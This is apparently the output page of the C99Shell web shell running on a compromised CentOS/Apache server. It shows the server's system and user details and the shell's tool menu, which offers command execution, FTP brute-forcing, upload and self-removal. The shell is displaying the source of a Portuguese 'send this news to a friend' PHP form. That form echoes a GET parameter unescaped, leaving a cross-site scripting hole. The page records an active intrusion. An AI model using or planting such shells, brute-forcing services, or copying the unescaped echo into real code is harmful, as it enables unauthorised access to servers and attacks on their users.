!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 9.44 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     envia_amigo.php (6.6 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php    include("config/config.php");
    include(
"includes/conexaoBD.php");
    include(
INCLUDES "funcoes_uteis.php");
    include(
INCLUDES "sentencas_sql.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<link rel="SHORTCUT ICON" href="logo_irpen.ico" />
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <title><?= utf8_encode($title)?></title>
        <link rel="stylesheet" type="text/css" media="all" href="estilo_principal.css" />
        <link rel="stylesheet" href="css/irpen.css" type="text/css" />

<script type="text/javascript" charset="utf-8">

function checkMail(mail){ 
        var er = new RegExp(/^[A-Za-z0-9_\-\.]+@[A-Za-z0-9_\-\.]{2,}\.[A-Za-z0-9]{2,}(\.[A-Za-z0-9])?/); 
        if(typeof(mail) == "string"){ 
                if(er.test(mail)){ return true; } 
        }else if(typeof(mail) == "object"){ 
        if(er.test(mail.value)){  
            return true;  
        } 
        }else{ 
            return false; 
        } 
}
function txtBoxFormat(objeto, sMask, evtKeyPress) {
    var i, nCount, sValue, fldLen, mskLen,bolMask, sCod, nTecla;
 
 
    if(document.all) { // Internet Explorer
        nTecla = evtKeyPress.keyCode;
    } else if(document.layers) { // Nestcape
        nTecla = evtKeyPress.which;
    } else {
        nTecla = evtKeyPress.which;
        if (nTecla == 8) {
            return true;
        }
    }
 
    sValue = objeto.value;
 
    // Limpa todos os caracteres de formatação que
    // já estiverem no campo.
    sValue = sValue.toString().replace( "-", "" );
    sValue = sValue.toString().replace( "-", "" );
    sValue = sValue.toString().replace( ".", "" );
    sValue = sValue.toString().replace( ".", "" );
    sValue = sValue.toString().replace( "/", "" );
    sValue = sValue.toString().replace( "/", "" );
    sValue = sValue.toString().replace( ":", "" );
    sValue = sValue.toString().replace( ":", "" );
    sValue = sValue.toString().replace( "(", "" );
    sValue = sValue.toString().replace( "(", "" );
    sValue = sValue.toString().replace( ")", "" );
    sValue = sValue.toString().replace( ")", "" );
    sValue = sValue.toString().replace( " ", "" );
    sValue = sValue.toString().replace( " ", "" );
    fldLen = sValue.length;
    mskLen = sMask.length;
 
    i = 0;
    nCount = 0;
    sCod = "";
    mskLen = fldLen;
 
    while (i <= mskLen) {
      bolMask = ((sMask.charAt(i) == "-") || (sMask.charAt(i) == ".") || (sMask.charAt(i) == "/") || (sMask.charAt(i) == ":"))
      bolMask = bolMask || ((sMask.charAt(i) == "(") || (sMask.charAt(i) == ")") || (sMask.charAt(i) == " "))
 
      if (bolMask) {
        sCod += sMask.charAt(i);
        mskLen++; }
      else {
        sCod += sValue.charAt(nCount);
        nCount++;
      }

      i++;
    }
 
    objeto.value = sCod;

    if (nTecla != 8) { // backspace
      if (sMask.charAt(i-1) == "9") { // apenas números...
        return ((nTecla > 47) && (nTecla < 58)); }
      else { // qualquer caracter...
        return true;
      }
    }
    else {
      return true;
    }
  }
    function trim(str) {
        return str.replace(/^\s+|\s+$/g,"");
    }


    function valida_formulario() {

        if (trim(document.getElementById("txtNome").value) == "") {
            alert("Por favor, preencha o nome!");
            document.getElementById("txtNome").focus();
            return false;
        }
        if (trim(document.getElementById("txtEmail").value) == "") {
            alert("Por favor, preencha o e-mail!");
            document.getElementById("txtEmail").value = '';
            document.getElementById("txtEmail").focus();
            return false;
        }
        if (!checkMail(trim(document.getElementById("txtEmail").value))) {
            alert("Por favor, digite um e-mail valido!");
            document.getElementById("txtEmail").value = '';
            document.getElementById("txtEmail").focus();
            return false;
        }
        if (trim(document.getElementById("txtNomeDestinatario").value) == "") {
            alert("Por favor, preencha o nome do destinatario");
            document.getElementById("txtNomeDestinatario").focus();
            return false;
        }
        if (trim(document.getElementById("txtEmailDestinatario").value) == "") {
            alert("Por favor, preencha o e-mail do destinatario!");
            document.getElementById("txtEmailDestinatario").value = '';
            document.getElementById("txtEmailDestinatario").focus();
            return false;
        }
        if (!checkMail(trim(document.getElementById("txtEmailDestinatario").value))) {
            alert("Por favor, digite um e-mail valido para o destinatario!");
            document.getElementById("txtEmailDestinatario").value = '';
            document.getElementById("txtEmailDestinatario").focus();
            return false;
        }

        return true;

    }
</script>
</head>
<body>

                             <div id="logo_envia_amigo">
                              <img src="/imagens/logo.jpg" width="250" height="72"></img>
                            </div>
                            <div id="cont_geral">

                                  <div id="cont_esq">

                                      <h2 class="tit4">Envie essa noticia a um amigo</h2>

                                      <p>&nbsp;</p>
                                    <form name="frmInscricao" id="frmInscricao" method="post" action="envia_email_noticia.php" onsubmit="return valida_formulario()">

                                        <input type="hidden" name="not" id="not" value="<?= $_GET['not']?>"/>
                                        <label for="txtNome">O seu nome: </label>
                                        <input type="text" name="txtNome" id="txtNome" size="50" />
                                        <br>
                                        <label for="txtCartorio">O seu email:</span>:</label>
                                        <input type="text" name="txtEmail" id="txtEmail" size="50" />
                                        <br>
                                        <label for="txtNomeDestinatario">Nome do destinatario:</label>
                                        <input type="text" name="txtNomeDestinatario" id="txtNomeDestinatario" size="50" />
                                        <br>
                                        <label for="txtEmailDestinatario">Email do destinatario:</label>
                                        <input type="text" name="txtEmailDestinatario" id="txtEmailDestinatario" size="50" />
                                        <br>

                                        <div align="center">
                                            <input type="submit" name="btnEnviar" id="btnEnviar" value="  Enviar  " class="button" />
                                            <input type="button" name="btnFecha" id="btnFecha" value="  Fechar  " class="button" onclick="javascript:window.close();" />
                                        </div>

                                </form>
                                  </div> <!--fecha a div "cont_esq"-->

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0046 ]--